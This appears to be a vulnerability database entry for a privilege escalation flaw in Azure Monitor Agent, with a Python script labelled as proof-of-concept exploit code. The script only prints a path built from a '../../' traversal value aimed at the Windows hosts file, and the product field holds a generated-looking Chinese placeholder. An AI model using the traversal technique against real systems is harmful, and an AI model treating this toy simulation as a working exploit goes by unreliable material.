External control of file name or path in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Azure Monitor Agent (版本信息未在提供文本中明确列出，请参考官方补丁公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-32204: Azure Monitor Agent Privilege Escalation
# This script simulates the path manipulation technique.
# Exploitation requires write access to a path monitored/used by the Agent.
import os
# Simulating a vulnerable log path that the Agent tries to write to
vulnerable_log_dir = "C:\ProgramData\AzureMonitorAgent\Logs"
malicious_filename = "../../Windows/System32/drivers/etc/hosts"
print("[*] Attempting to simulate path manipulation...")
# Construct the full path based on user input (simulating the vulnerability)
full_path = os.path.join(vulnerable_log_dir, malicious_filename)
# Normalize the path to resolve the traversal
resolved_path = os.path.normpath(full_path)
print(f"[*] Vulnerable Base Directory: {vulnerable_log_dir}")
print(f"[*] Malicious File Name Input: {malicious_filename}")
print(f"[!] Resolved Absolute Path: {resolved_path}")
print("\n[*] If the Azure Monitor Agent runs as SYSTEM and writes to this path,")
print(" it could overwrite system files (e.g., hosts file) leading to privilege escalation.")
# In a real attack, the attacker would ensure this file/directory structure exists
# or uses a symlink to redirect the write operation.